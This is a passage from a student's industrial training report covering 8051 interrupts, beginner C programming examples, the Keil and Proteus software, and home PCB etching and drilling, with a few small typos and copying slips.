controller etc.)
• Maskable and non-maskable interrupts.
The category of interrupts which can be disabled by the processor using program is called maskable
interrupts.
Non-maskable interrupts are those category by which the programmer cannot disable it using program.
• Vectored and non-vectored interrupt.
Starting address of the ISR is called interrupt vector. In vectored interrupts the starting address is predefined.
In non-vectored interrputs, the starting address is provided by the peripheral as follows.
• Microcontroller receives an interrupt request from external device.
• Controller sends an acknowledgement (INTA) after completing the execution of current instruction.
• The peripheral device sends the interrupt vector to the microcontroller.

MIST-DECE 26
INDUSTRIAL TRAINING REPORT

3.10 8051 INTERRUPT STRUCTURE.


8051 has five interrupts. They are maskable and vectored interrupts. Out of these five, two are external
interrupt and three are internal interrupts.

External interrupt 0 External 0003 Highest

Timer 0 interrupt Internal 000B

External interrupt 1 External 0013

Timer 1 interrupt Internal 001B

Serial interrupt Internal 0023 Lowest

MIST-DECE 27
INDUSTRIAL TRAINING REPORT

CHAPTER-4.C-LANGUAGE
4.0 INTRODUCTION
The C Language is developed by Dennis Ritchie for creating system applications that directly interact with
the hardware devices such as drivers, kernels, etc.
C programming is considered as the base for other programming languages, that is why it is known as
mother language
#include <stdio.h>
int main() {
printf("Hello C Programming\n");
return 0;
}
Features of C Language
C features
C is the widely used language. It provides many features that are given below

Fig no 4.0: C language


Simple
Machine Independent or Portable
Mid-level programming language
structured programming language
Rich Library
Memory Management
Fast Speed
Pointers
Recursion

MIST-DECE 28
INDUSTRIAL TRAINING REPORT

4.1 ELEMENTS OF C LANGUAGE


Before going in depth, we need to understand the basic elements of c language. It is very necessary to know
these elements because it helps you to write c program. In below list, I have listed some important elements
of C language.
Functions.
Variables.
Statements.
Comments.
Programiz
Character set
A character set is a set of alphabets, letters and some special characters that are valid in C language.
Alphabets
Uppercase: A B C ................................... X Y Z
Lowercase: a b c ...................................... x y z
C accepts both lowercase and uppercase alphabets as variables and functions.
Digits
0123456789
Special Characters
Special Characters in C Programming
, < > . _
( ) ; $ :
% [ ] # ?
' & { } "
^ ! * / |
- \ ~ +
White space Characters
Blank space, newline, horizontal tab, carriage return and form feed.
C Keywords
Keywords are predefined, reserved words used in programming that have special meanings to the compiler.
Keywords are part of the syntax and they cannot be used as an identifier. For example:
int money;
Here, int is a keyword that indicates money is a variable of type int (integer).
As C is a case sensitive language, all keywords must be written in lowercase. Here is a list of all keywords
allowed in ANSI C.
C Keywords

MIST-DECE 29
INDUSTRIAL TRAINING REPORT

auto double int struct


break else long switch
case enum registertypedef
char extern return union
continue for signed void
do if static while
default goto sizeof volatile
const float short unsigned
All these keywords, their syntax, and application will be discussed in their respective topics.
C Identifiers
Identifier refers to name given to entities such as variables, functions, structures etc.
Identifiers must be unique. They are created to give a unique name to an entity to identify it during the
execution of the program. For example:
int money;
double accountBalance;
Here, money and accountBalance are identifiers.
Also remember, identifier names must be different from keywords. You cannot use int as an identifier
because int is a keyword.
Rules for naming identifiers
• A valid identifier can have letters (both uppercase and lowercase letters), digits and underscores.
• The first letter of an identifier should be either a letter or an underscore.
• You cannot use keywords like int, while etc. as identifiers.
• There is no rule on how long an identifier can be. However, you may run into problems in some
compilers if the identifier is longer than 31 characters.
• You can choose any name as an identifier if you follow the above rule, however, give meaningful
names to identifiers that make sense.
C Data Types
In this tutorial, you will learn about basic data types such as int, float, char etc. in C programming.

In C programming, data types are declarations for variables. This determines the type and size of data
associated with variables. For example,
int myVar;
Here, myVar is a variable of int (integer) type. The size of int is 4 bytes.

4.2 BASIC TYPES


Here's a table containing commonly used types in C programming for quick access.

MIST-DECE 30
INDUSTRIAL TRAINING REPORT

Type Size (bytes) Format Specifier


int at least 2, usually 4 %d, %i
char 1 %c
float 4 %f
double 8 %lf
short int 2 usually %hd
unsigned int at least 2, usually 4 %u
long int at least 4, usually 8 %ld, %li
long long int at least 8 %lld, %lli
unsigned long int at least 4 %lu
unsigned long long int at least 8 %llu
signed char 1 %c
unsigned char 1 %c
long double at least 10, usually 12 or 16 %Lf
int
Integers are whole numbers that can have both zero, positive and negative values but no decimal values. For
example, 0, -5, 10
We can use int for declaring an integer variable.
int id;
Here, id is a variable of type integer.
You can declare multiple variables at once in C programming. For example,
int id, age;
The size of int is usually 4 bytes (32 bits). And, it can take 232 distinct states from -2147483648 to
2147483647.
float and double
float and double are used to hold real numbers.
float salary;
double price;
In C, floating-point numbers can also be represented in exponential. For example,
float normalization Factor = 22.442e2;

What's the difference between float and double?


The size of float (single precision float data type) is 4 bytes. And the size of double (double precision float
data type) is 8 bytes.

MIST-DECE 31
INDUSTRIAL TRAINING REPORT

char
Keyword char is used for declaring character type variables. For example,
char test = 'h';
The size of the character variable is 1 byte.

void
void is an incomplete type. It means "nothing" or "no type". You can think of void as absent.
For example, if a function is not returning anything, its return type should be void.
Note that, you cannot create variables of void type.

short and long


If you need to use a large number, you can use a type specifier long. Here's how:
long a;
long long b;
long double c;
Here variables a and b can store integer values. And, c can store a floating-point number.
If you are sure, only a small integer ([−32,767, +32,767] range) will be used, you can use short.
short d;

You can always check the size of a variable using the sizeof() operator.
#include <stdio.h>
int main() {
short a;
long b;
long long c;
long double d;
printf("size of short = %d bytes\n", sizeof(a));
printf("size of long = %d bytes\n", sizeof(b));
printf("size of long long = %d bytes\n", sizeof(c));
printf("size of long double= %d bytes\n", sizeof(d));
return 0;
}
signed and unsigned
In C, signed and unsigned are type modifiers. You can alter the data storage of a data type by using them.
For example,

MIST-DECE 32
INDUSTRIAL TRAINING REPORT

unsigned int x;
int y;
Here, the variable x can hold only zero and positive values because we have used the unsigned modifier.
Considering the size of int is 4 bytes, variable y can hold values from -231 to 231,whereas variable x can
hold values from 0 to 232-1.
Constants
If you want to define a variable whose value cannot be changed, you can use the const keyword. This will
create a constant. For example,
const double PI = 3.14;
Notice, we have added keyword const.
Here, PI is a symbolic constant; its value cannot be changed.
const double PI = 3.14;
PI = 2.9; //Error
Variables
In programming, a variable is a container (storage area) to hold data.
To indicate the storage area, each variable should be given a unique name (identifier). Variable names are
just the symbolic representation of a memory location. For example:
int playerScore = 95;
Here, playerScore is a variable of int type. Here, the variable is assigned an integer value 95.

The value of a variable can be changed, hence the name variable.


char ch = 'a';
// some code
ch = 'l';
Rules for naming a variable
• A variable name can only have letters (both uppercase and lowercase letters), digits and underscore.
• The first letter of a variable should be either a letter or an underscore.
• There is no rule on how long a variable name (identifier) can be. However, you may run into
problems in some compilers if the variable name is longer than 31 characters.

Note: You should always try to give meaningful names to variables. For example: firstName is a better
variable name than fn.
C is a strongly typed language. This means that the variable type cannot be changed once it is declared. For
example:
int number = 5; // integer variable
number = 5.5; // error

MIST-DECE 33
INDUSTRIAL TRAINING REPORT

double number; // error


Here, the type of number variable is int. You cannot assign a floating-point (decimal) value 5.5 to this
variable. Also, you cannot redefine the data type of the variable to double. By the way, to store the decimal
values in C, you need to declare its type to either double or float.
Chapter-2.C Input Output (I/O)
In this tutorial, you will learn to use scanf() function to take input from the user, and printf() function to
display output to the user.

4.3 C-OUTPUT
In C programming, printf() is one of the main output function. The function sends formatted output to the
screen. For example,
Example 1: C Output
#include <stdio.h>
int main()
{
// Displays the string inside quotations
printf("C Programming");
return 0;
}
Output
C Programming
How does this program work?
All valid C programs must contain the main() function. The code execution begins from the start of the
main() function.
The printf() is a library function to send formatted output to the screen. The function prints the string inside
quotations.
To use printf() in our program, we need to include stdio.h header file using the #include <stdio.h> statement.
The return 0; statement inside the main() function is the "Exit status" of the program. It's optional.
Example 2: Integer Output
#include <stdio.h>
int main()
{
int testInteger = 5;
printf("Number = %d", testInteger);
return 0;

MIST-DECE 34
INDUSTRIAL TRAINING REPORT

}
Output
Number = 5
We use %d format specifier to print int types. Here, the %d inside the quotations will be replaced by the
value of testInteger.
Example 3: float and double Output
#include <stdio.h>
int main()
{
float number1 = 13.5;
double number2 = 12.4;

printf("number1 = %f\n", number1);


printf("number2 = %lf", number2);
return 0;
}
Output
number1 = 13.500000
number2 = 12.400000
To print float, we use %f format specifier. Similarly, we use %lf to print double values.

Example 4: Print Characters


#include <stdio.h>
int main()
{
char chr = 'a';
printf("character = %c", chr);
return 0;
}
Output
character = a
To print char, we use %c format specifier.

4.4 C INPUT

MIST-DECE 35
INDUSTRIAL TRAINING REPORT

In C programming, scanf() is one of the commonly used function to take input from the user. The scanf()
function reads formatted input from the standard input such as keyboards.
Example 5: Integer Input/Output
#include <stdio.h>
int main()
{
int testInteger;
printf("Enter an integer: ");
scanf("%d", &testInteger);
printf("Number = %d",testInteger);
return 0;
}
Output
Enter an integer: 4
Number = 4
Here, we have used %d format specifier inside the scanf() function to take int input from the user. When the
user enters an integer, it is stored in the testInteger variable.
Notice, that we have used &testInteger inside scanf(). It is because &testInteger gets the address of
testInteger, and the value entered by the user is stored in that address.
Example 6: Float and Double Input/Output
#include <stdio.h>
int main()
{
float num1;
double num2;
printf("Enter a number: ");
scanf("%f", &num1);
printf("Enter another number: ");
scanf("%lf", &num2);
printf("num1 = %f\n", num1);
printf("num2 = %lf", num2);
return 0;
}
Output
Enter a number: 12.523

MIST-DECE 36
INDUSTRIAL TRAINING REPORT

Enter another number: 10.2


num1 = 12.523000
num2 = 10.200000
We use %f and %lf format specifier for float and double respectively.
Example 7: C Character I/O
#include <stdio.h>
int main()
{
char chr;
printf("Enter a character: ");
scanf("%c",&chr);
printf("You entered %c.", chr);
return 0;
}
Output
Enter a character: g
You entered g
When a character is entered by the user in the above program, the character itself is not stored. Instead, an
integer value (ASCII value) is stored.
And when we display that value using %c text format, the entered character is displayed. If we use %d to
display the character, it's ASCII value is printed.
Example 8: ASCII Value
#include <stdio.h>
int main()
{
char chr;
printf("Enter a character: ");
scanf("%c", &chr);
// When %c is used, a character is displayed
printf("You entered %c.\n",chr);
// When %d is used, ASCII value is displayed
printf("ASCII value is %d.", chr);
return 0;
}
Output

MIST-DECE 37
INDUSTRIAL TRAINING REPORT

Enter a character: g
You entered g.
ASCII value is 103.
I/O Multiple Values
Here's how you can take multiple inputs from the user and display them.
#include <stdio.h>
int main()
{
int a;
float b;
printf("Enter integer and then a float: ");
// Taking multiple inputs
scanf("%d%f", &a, &b);
printf("You entered %d and %f", a, b);
return 0;
}
Output
Enter integer and then a float: -3
3.4
You entered -3 and 3.400000
Format Specifiers for I/O
As you can see from the above examples, we use
%d for int
%f for float
%lf for double
%c for char
Here's a list of commonly used C data types and their format specifiers.
Data Type Format Specifier
int %d
char %c
float %f
double %lf
short int %hd
unsigned int %u
long int %li

MIST-DECE 38
INDUSTRIAL TRAINING REPORT

long long int %lli


unsigned long int %lu
unsigned long long int%llu
signed char %c
unsigned char %c
long double

C if Statement
The syntax of the if statement in C programming is:
if (test expression)
{
// statements to be executed if the test expression is true
}
How if statement works?
• The if statement evaluates the test expression inside the parenthesis ().
• If the test expression is evaluated to true, statements inside the body of if are executed.
• If the test expression is evaluated to false, statements inside the body of if are not executed

C if...else Statement
The if statement may have an optional else block. The syntax of the if..else statement is:
if (test expression) {
// statements to be executed if the test expression is true
}
else {
// statements to be executed if the test expression is false
}

Fig no 4.1: if else statement

How if...else statement works?

MIST-DECE 39
INDUSTRIAL TRAINING REPORT

• If the test expression is evaluated to true,


• statements inside the body of if are executed.
• statements inside the body of else are skipped from execution.
• If the test expression is evaluated to false,
• statements inside the body of else are executed
• statements inside the body of if are skipped from execution.

while loop
The syntax of the while loop is:
while (testExpression)
{
// statements inside the body of the loop
}
How while loop works?

• The while loop evaluates the test expression inside the parenthesis ().
• If the test expression is true, statements inside the body of while loop are executed. Then, the test
expression is evaluated again.
• The process goes on until the test expression is evaluated to false.

• Fig no 4.2: working of while loop

• If the test expression is false, the loop terminates (ends).

MIST-DECE 40
INDUSTRIAL TRAINING REPORT

Example 1: while loop


// Print numbers from 1 to 5
#include <stdio.h>
int main()
{
int i = 1;
while (i <= 5)
{
printf("%d\n", i);
++i;
}
return 0;
}
Output
1
2
3
4
5
do...while loop
The do..while loop is similar to the while loop with one important difference. The body of do...while loop is
executed at least once. Only then, the test expression is evaluated.
The syntax of the do...while loop is:
do
{
// statements inside the body of the loop
}
while (test Expression);
How do...while loop works?
• The body of do...while loop is executed once. Only then, the test expression is evaluated.
• If the test expression is true, the body of the loop is executed again and the test expression is
evaluated.

• This process goes on until the test expression becomes false.


• If the test expression is false, the loop ends.

MIST-DECE 41
INDUSTRIAL TRAINING REPORT

Flowchart of do...while Loop


do while loop flowchart in C programming
Example 2: do...while loop
// Program to add numbers until the user enters zero
#include <stdio.h>
int main()
{
double number, sum = 0;
// the body of the loop is executed at least once
do
{
printf("Enter a number: ");
scanf("%lf", &number);
sum += number;
}

Fig no 4.3: while loop

while(number != 0.0);
printf("Sum = %.2lf",sum);
return 0;
}
Output
Enter a number: 1.5
Enter a number: 2.4
Enter a number: -3.4

MIST-DECE 42
INDUSTRIAL TRAINING REPORT

Enter a number: 4.2


Enter a number: 0
Sum = 4.70
for Loop
The syntax of the for loop is:
for (initializationStatement; testExpression; updateStatement)
{
// statements inside the body of loop
}
How for loop works?
• The initialization statement is executed only once.
• Then, the test expression is evaluated. If the test expression is evaluated to false, the for loop is
terminated.
• However, if the test expression is evaluated to true, statements inside the body of for loop are
executed, and the update expression is updated.
• Again the test expression is evaluated.
• This process goes on until the test expression is false. When the test expression is false, the loop
terminates.

Example 1: for loop


// Print numbers from 1 to 10
#include <stdio.h>
int main() {
int i;
for (i = 1; i < 11; ++i)
{
printf("%d ", i);
}
return 0;
}
Output
1 2 3 4 5 6 7 8 9 10
C break
The break statement ends the loop immediately when it is encountered. Its syntax is:
break;
The break statement is almost always used with if...else statement inside the loop.
How break statement works?

MIST-DECE 43
INDUSTRIAL TRAINING REPORT

Working of break statement

Example 1: break statement


// Program to calculate the sum of numbers (10 numbers max)

Fig no 4.4: Break statement


// If the user enters a negative number, the loop terminates
#include <stdio.h>
int main() {
int i;
double number, sum = 0.0;
for (i = 1; i <= 10; ++i) {
printf("Enter a n%d: ", i);
scanf("%lf", &number);
// if the user enters a negative number, break the loop
if (number < 0.0) {
break;
}
sum += number; // sum = sum + number;
}
printf("Sum = %.2lf", sum);
return 0;
}
Output
Enter a n1: 2.4
Enter a n2: 4.5
Enter a n3: 3.4
Enter a n4: -3
Sum = 10.30

MIST-DECE 44
INDUSTRIAL TRAINING REPORT

C continue
The continue statement skips the current iteration of the loop and continues with the next iteration. Its syntax
is:
continue;
The continue statement is almost always used with the if...else statement.
How continue statement works?
Working of continue statement in C programming
Example 2: continue statement
// Program to calculate the sum of numbers (10 numbers max)
// If the user enters a negative number, it's not added to the result
#include <stdio.h>

fig no 4.5: continue statement


int main() {
int i;
double number, sum = 0.0;
for (i = 1; i <= 10; ++i) {
printf("Enter a n%d: ", i);
scanf("%lf", &number);
if (number < 0.0) {
continue;
}
sum += number; // sum = sum + number;
}
printf("Sum = %.2lf", sum);
return 0;
}

MIST-DECE 45
INDUSTRIAL TRAINING REPORT

Output
Enter a n1: 1.1
Enter a n2: 2.2
Enter a n3: 5.5
Enter a n4: 4.4
Enter a n5: -3.4
Enter a n6: -45.5
Enter a n7: 34.5
Enter a n8: -4.2
Enter a n9: -1000
Enter a n10: 12
Sum = 59.7

C Functions
In c, we can divide a large program into the basic building blocks known as function. The function contains
the set of programming statements enclosed by {}. A function can be called multiple times to provide
reusability and modularity to the C program. In other words, we can say that the collection of functions
creates a program. The function is also known as procedureor subroutinein other programming languages.
Advantage of functions in C
• There are the following advantages of C functions.
• By using functions, we can avoid rewriting same logic/code again and again in a program.
• We can call C functions any number of times in a program and from any place in a program.
• We can track a large C program easily when it is divided into multiple functions.
• Reusability is the main achievement of C functions.
• However, Function calling is always a overhead in a C program.

Types of Functions
There are two types of functions in C programming:
Library Functions: are the functions which are declared in the C header files such as scanf(), printf(), gets(),
puts(), ceil(), floor() etc.
User-defined functions: are the functions which are created by the C programmer, so that he/she can use it
many times. It reduces the complexity of a big program and optimizes the code.

MIST-DECE 46
INDUSTRIAL TRAINING REPORT

Fig no 4.6: Types of Functions


C Function
Return Value
A C function ma he function, use void for the return type.
Let's see a simple example of C function that doesn't return any value from the function
Example 1
#include<stdio.h>
void printName();
void main ()
{
printf("Hello ");
printName();
}
void printName()
{
printf("Javatpoint");
}
Output:
Javatpoint

MIST-DECE 47
INDUSTRIAL TRAINING REPORT

CHAPTER -5 KEIL SOFTWARE :


5.1 INTRODUCTION :
• Keil was invented by Carl Friedrich Keil.
• Keil Micro Vision is a free software which solves many of the pain points for an embedded program
developer. This software is an integrated development environment (IDE), which integrated a text editor to
write programs, a compiler and it will convert your source code to hex files too.
• Here is simple guide to start working with Keil uVision which can be used for.

• Writing programs in C/C++ or Assembly language.

• Compiling and Assembling Programs.

• Debugging program.

• Creating Hex and Axf file.

• Testing your program without Available real Hardware (Simulator Mode).

• This is simple guide on Keil uVision 4 though also applicable on previous versions also.

5.2 PROCESS TO USE KEIL SOFTWARE :


• These are the simple steps to get off the mark your inning!

• Step 1: After opening Keil uV4, Go to Project tab and Create new uVision project.
• Now Select new folder and give name to Project.

Fig no.5.1: Creating New uvision Project

• Step 2: After Creating project now Select your device model. Example. Atmel

• [You can change it later from project window.]

MIST-DECE 48
INDUSTRIAL TRAINING REPORT

Fig no.5.2: selection of device

• Step 3: so now your project is created and Message window will appear to add startup file of

your Device click on Yes so it will be added to your project folder.

Fig no.5.3: Asking to add startup file or not

• Step 4: Now go to File and create new file and save it with .C extension if you will write

program in C language or save with .asm for assembly language.


• i.e., Led.c

MIST-DECE 49
INDUSTRIAL TRAINING REPORT

Fig no.5.4: creation of new file

• Step 5: Now write your program and save it again. You can try example given at end of this

tutorial.
• Step 6: After that on left you see project window [if it’s not there go to View tab and click on

project window].
• Now come on Project window.

Fig no.5.5: selecting project window

• Right click on target and click on options for target.

• Here you can change your device also.

MIST-DECE 50
INDUSTRIAL TRAINING REPORT

Fig no.5.6: creating a target file


• Click output tab here & check create Hex file if you want to generate hex file.

• Now click on ok so it will save changes.

Fig no.5.7: creation of Hex file

• Step 7: Now Expand target and you will see source group.

• Right click on group and click on Add files to source group.

MIST-DECE 51
INDUSTRIAL TRAINING REPORT

Fig no.5.8: Adding files to source group

• Now add your program file which you have written in C/assembly.

• You can see program file added under source group.


• Step 8: Now Click on Build target.You can find it under Project tab or in toolbar .It can also

be done by pressing F7 key.

MIST-DECE 52
INDUSTRIAL TRAINING REPORT

Fig no. 5.9 :Building an Target


• Step 9: you can see Status of your program in Build output window
• [If it’s not there go to view and click on Build output window]

Fig no. 5.10 : checking for errors and warnings

• Now you are done with your program. Next time we will look at Debugging and Simulation

of Program.

MIST-DECE 53
INDUSTRIAL TRAINING REPORT

CHAPTER -6 PROTEUS STIMULATION SOFTWARE :


6.1 INTRODUCTION :
• Proteus is used to simulate, design and drawing of electronic circuits. It was invented by the Labcenter
electronic.

• By using proteus you can make two-dimensional circuits designs as well.

• With the use of this engineering software, you can construct and simulate different electrical and
electronic circuits on your personal computers or laptops.

• There are numerous benefits to simulate circuits on proteus before make them practically.

• Designing of circuits on the proteus takes less time than practical construction of the circuit.

• The possibility of error is less in software simulation such as loose connection that takes a lot of time
to find out connections problems in a practical circuit.

• Circuit simulations provide the main feature that some components of circuits are not practical then
you can construct your circuit on proteus.

• There is zero possibility of burning and damaging of any electronic component in proteus.

• The electronic tools that are very expensive can easily get in proteus such as an oscilloscope.

• Using proteus you can find different parents of circuits such as current, a voltage value of any
component and resistance at any instant which is very difficult in a practical circuit.

Fig no.6.1 : schematic window of proteus

6.2 FEATURES OF PROTEUS :

MIST-DECE 54
INDUSTRIAL TRAINING REPORT

• There are 2 main parts of proteus first is used to design and draw different circuits and the second is
for designing of PCB layout.

• First is ISIS that used to design and simulate circuits. And second is ARES that used for designing of
a printed circuit board.

• It also provides features related to the three-dimensional view of design in PCB.

16.3 PCB LAYOUT :


• Now we discuss the layout of proteus and will discuss sections and their functionality in proteus.

• When you will click on the Icon of installed Proteus in your computer then you will see this window
from a new file option.

• In the above figure, you can see the proteus window and this window has many sections that are explained in
the below .

6.4 EDITING WINDOW :

• In the above figure, you can see that the dotted portion is called an editing window. This is a drawing
portion of proteus where you simulate your engineering circuits and projects.

6.5 OVERVIEW WINDOW :

• In the overview window, you see the complete view of your complete design.

6.6 OBJECT SELECTOR :

• This section has 2 buttons P and E. P is used to select different components and shown in this box. The
E button is for edit something for example you want to vary any value of components than you can use this
edit button.

6.7 ZOOM OPTION :

• By using this option you can easily zoom in and zoom out your layout and can observe complete
simulation very clearly

6.8 TOOL OPTION :

MIST-DECE 55
INDUSTRIAL TRAINING REPORT

• By using this option you can select different devices like voltmeter, ammeter, oscilloscope, etc.

6.9 RUN BUTTONS :

• At the left bottom there are 4 buttons Run, stop, pause and stop. These buttons are like the remote
control and on and off your circuit.

6.10 HOW TO MAKE CIRCUIT IN PROTEUS :


Step 1: First of all click on proteus Icon in your computer and click on a new file option as shown in the below
figure.

Fig no.6.2 : creation of new file

Step 2: After that, you will see the drawing sheet as shown in the below figure. Save it according to your
project.

Fig no.6.2 : saving a file

MIST-DECE 56
INDUSTRIAL TRAINING REPORT

Step 3: After a move to the component option as shown in the below figure and select the elements for your
projects.

.
Fig no.6.3 :Selection of component mode

Step 4: After clicking on components mode you will see two buttons P and L. If you move to P button you will see Pic
from Libraries. It is used to select different components for circuit construction.

Fig no. 6.4 selecting the P

Step 5: When you will click on the P button you will see box shown in the below figure. Type your component
for a circuit. As I type button and you can see a button in right figure that different buttons are shown you can
select according to your use.

MIST-DECE 57
INDUSTRIAL TRAINING REPORT

Fig no. 6.5 : Typing the components

Fig no. 6. : selecting the components

Step 6:When you will select components for your project you will see them in a box shown in the below
figure.I have also selected some components for designing of a simple circuit.

MIST-DECE 58
INDUSTRIAL TRAINING REPORT

Fig no. 6.7 : selection of components for designing the schematic

After the selection of components make the circuit layout of your project and connect all these components
with the wires.

• For connection of one component to other clicks left of first one terminal of component and drag it to
other components.

• If you want to remove any component or remove its connection just double click on respective of a
component

Fig no. 6.8 : sketching the circuit

• If you want to change the values of any component such as resistance, capacitor, then click right on
that component and select the desired value and click OK button.

• As in the below figure, I vary the value of battery voltages.

MIST-DECE 59
INDUSTRIAL TRAINING REPORT

Fig no. 6.9 : Editing the components values

Step 7: When you connect all components in the circuit like run button in left bottom see the practical working
of your circuit.

Fig no. 6.10 : Running the circuit

Step 8: When you will observe the simulation of your circuit than click on stop button on the left bottom to
stop the working of the circuit.

MIST-DECE 60
INDUSTRIAL TRAINING REPORT

6.11 PROCESS TO CREATE PCB LAYOUT :

Now we are going to design a PCB layout for the above circuit. Proteus has the integrated ARES PCB
designing suit. By using this we can easily develop the PCB layout. After simulation save the circuit
designing and click on tools then select netlist to ARES. Then a window will open with list of component
packages. That is shown in below image.

Fig no. 6.11 : selection of Netlist to Ares

Fig no. 6.12 : PCB layout window

Then next step is creating a board edge by selecting 2D graphics box mode. Next click on the select layer at
bottom left corner and select the board edge option. The image is shown in below figure.

MIST-DECE 61
INDUSTRIAL TRAINING REPORT

Fig no. 6.13 : selection of Board Edge

Then next click on work space then a green line will appear. With that draw a box and click again once.
Then the box is fixed and turn into yellow color layout. This box is same like in above ISIS professional blue
line. The circuit should be inside of the yellow box. If the circuit is more complex and big in size, the there is
a chance to expand the box by clicking on the select mode. Then next click on the component name and
change the angle of the component by using rotation arrow options if required. Then place the component on
the work space. After adding the all components to the work space, arrange the position of the components
properly in the workspace. To move component one place to another place click on selection mode and click
on component then it change color with white and hold the component and moved to required place within
the yellow box. After placing the all components in correct position, next thing is tracking. Tracking means
establishing the connection between the components with copper layer. First select the track mode by
clicking the track mode button, and change the track width by clicking ‘C’ create or ‘E’ edit buttons shown
in the below image. When we click the button C or E immediately a window will open. Select the width of
the track from given list. It is better to select between 25, 40.

Electronic hobbyists made their required PCB’s at their home or lab. At that time track width in case less
than 25, there is a chance of occur cuts in tracks. The less width is useful in computer based PCB layering.
So hobbyists are making their PCB’s their own. So the width should be greater than 25. My suggestion is the
width should be 35.

Fig no. 6.14 : Editing /selection of Trace stye

MIST-DECE 62
INDUSTRIAL TRAINING REPORT

Then next thing is create tracks between components. Connection representation in green line and yellow
line shows the direction. After setting the track width click at the component one end with pen and follow
the green line. When two components are successfully connected then green line will removed
automatically.

Another main thing is there are several PCB’s are available. Those are single layer PCB, duel layer PCB,
multi layer PCB. In single layer PCB components are placed at one side and connections (tracking) done in
another side. Coming to duel layer PCB, tracking is done in two sides and components are placed in two
sides also. In this type mostly SMD components are used. Next finally multi layered PCB’s, in these many
layers are used. In this two are top and bottom layers and remaining all are inner layers. In Proteus we can
design up to 16 layers PCB. One is top layer, another one is bottom layer and remaining all are inner layers.
The layer selection in Proteus is at left down corner. Each layer will represent in different color. For example
bottom layer represented in blue color, top layer represented in red and inner layers are represented in
different colors. The image shown in below figure.

Fig no. 6.15 : selection of components

In the above image, it shows that track is placed between R1-2 pin and RV1-1pin. Another thing is placing
the track from 6th pin to 3rd pin. The direction is indicating in white arrow mark. Connection is indicating in
green line and blue line indicates the track. If any contact errors occurred
while tracking, those are represented in red circles and the image shown
in below figure.

Fig no. 6.16: Indication of Errors

In the above image red color represented circles are errors occurred while tracking. To avoid such errors
change the track path. Like this arrange the tracks between the all pins without errors. If you are planning for

MIST-DECE 63
INDUSTRIAL TRAINING REPORT

duel layer PCB, there is short cut for changing the track layers from one layer to another that is press the
mouse left button two times immediately turned into another layer. In above image there is an orange circle.
That represents the ‘via’ means placing connection between one layer to another layer. There is an advantage
in Proteus. That is auto-router. This is special tool to arrange tracks automatically without errors. But this
tool creates duel layer PCB. When we select this tool, automatically shape based auto router window will
open. This window having the execution mode, design rules and grid width changing options. By changing
all options according to our requirement and click the button begin routing automatically routing will start.

Fig no. 6.17 : Process of doing Routing

In above second image red tracks indicate top copper and blue tracks indicate bottom tracks. This is duel
layer PCB designing. If we want single layer PCB, we can place tracks out own. The given below image
shows the single layer PCB design of our required circuit. After completion of tracking save the project in
same folder where the above Proteus project saved. In Proteus we have one other tool that how the circuit is
been looking like after completion.

MIST-DECE 64
INDUSTRIAL TRAINING REPORT

Fig no. 6.18 : Completion of PCB layout

To see the final circuit, click on output in menu bar and then select 3D visualization. Then the circuit
visualization will open in other window. It is having the features of all angles visualization, components less
board view and back layer view. That is shown in below figure.

Fig no. 6.20 : 3D view of PCB layout

Next this is the final step of PCB layer designing, which is layout printing. Taking
prints of board layer is the final step. So to take print of the circuit layout, click on
output in menu bar and click on print. Then print layout setup window will open.

Fig no. 6.21 : Selection of PCB layout for printing

MIST-DECE 65
INDUSTRIAL TRAINING REPORT

CHAPTER – 7 : PROCESS OF ETCHING , DRILLING AND


SOLDERING OF PCB:
7.1 PROCESS OF ETCHING OF PCB :
Step 1: Design First you need to design the board using a service like Eagle, Fritzing or you can even just
use Adobe Illustrator if you know exactly what you want. And remember to flip the design once you have it
complete before you print it out.

Fig no. 7.1 : print of PCB layout

Step 2: Print Out the Design Onto the Shiny Side of the Transfer Paper.

Fig no. 7.2 : Transferring the paper on shing Board


Step 3: Sand the Copper Plate So There Is a Rough Surface for the Design to Stick to When Transferred.

MIST-DECE 66
INDUSTRIAL TRAINING REPORT

Fig no. 7.3 : Copper plate


Starting from this point on you should use surgical gloves to handle the copper plate and etching solution, this helps
avoid getting oils on the copper and chemicals on your hands. When sanding do an extra good job on the edges.
Step 4: Wash the Copper With Some Water and Rubbing Alcohol and Let It Dry.

Fig no. 7.3 : washed board


Step 5: Cut Out the Designs and Place Them Face Down on the Copper.

MIST-DECE 67
INDUSTRIAL TRAINING REPORT

Fig no. 7.3 : sticking the PCB layout on board


Try and have some margins around the design this also helps the ink stick to the plate.

Step 6: Run the Copper Plate With the Design Face Down Through a Laminator 5-7 Times Until the Plate Is
Hot.

You can also use a iron instead of a laminator if you don’t have one.

Fig no. 7.4 : Laminating the board


Step 7: After Running the Plate Through a Laminator or Iron Place the Plate Into a Cold Bath and Agitate
Until the Paper Floats Off.

MIST-DECE 68
INDUSTRIAL TRAINING REPORT

Fig no. 7.5 : washing the board with water


Step 8: Place the PCB Into the Etching Solution and Agitate for 25-30 Minutes or Until All the Copper
Has Dissolved Around the Design.

Fig no. 7.6 : Etching the board into the Fecl3


If you would prefer not to agitate by hand here is another instructable I created on how to make a
agitator using an old CD-ROM drive.

MIST-DECE 69
INDUSTRIAL TRAINING REPORT

Step 9: Once All the Copper Is Gone Rinse It in the Water Bath, Let It Dry and Use Rubbing Alcohol
to Whip Off the Ink Transfered Onto the PCB.

Fig no. 7.7 : Removing of copper from the plate


Step 10: And Now You Have a Etched PCB Board But You Still Need to Drill the Holes.

Fig no. 7.8 : Etched PCB

7.2 PROCESS OF DRILLING A PCB :


• The aspect ratio must be kept minimum to avoid drill wear.

• Higher the number of distinct drill sizes that are included in the design, higher will be the different
drill bits that the manufacturer has to implement. Instead, if you reduce different drill sizes, the drill time
will be cut down.

• Check if the non-plated drills have connections.

MIST-DECE 70
INDUSTRIAL TRAINING REPORT

• Check for drill count/size between drill file and fab print.

• Check if drill type is defined as PTH or NPTH.

o
o Fig no. 7.9 :drilling A Pcb
• Check for close holes less than 0.007″. If yes, it must be addressed (It can be spaced apart or one of
the drill deleted if permitted).

• Check for mouse bites. Mouse bites are perforated breakaway tabs. They are a line of tiny holes in a
PCB board just like the holes around a coupon. Mouse bites offer better grip when mounted.

• Check if the drills and other features on copper layers are falling outside the board profile.

• Prefer a minimum distance of 0.01” from hole edge to cutout/board profile.

• Check if the via size should be dropped to meet the minimum aspect ratio requirement after looking
at the drill tolerance.

• For plated drills, the tolerance is less than +/- 0.002″ and NPTH the drill tolerance is of +/- 0.001.

• Fab drawing for arcs showing NPTH drill/slot or cut out locations but missing in the drill file.

• Check if the fab drawing for arcs show NPTH drill/slot or cut-out locations. Check if it reflects on
the drill file.

• Mention the via sizes that need to be filled.

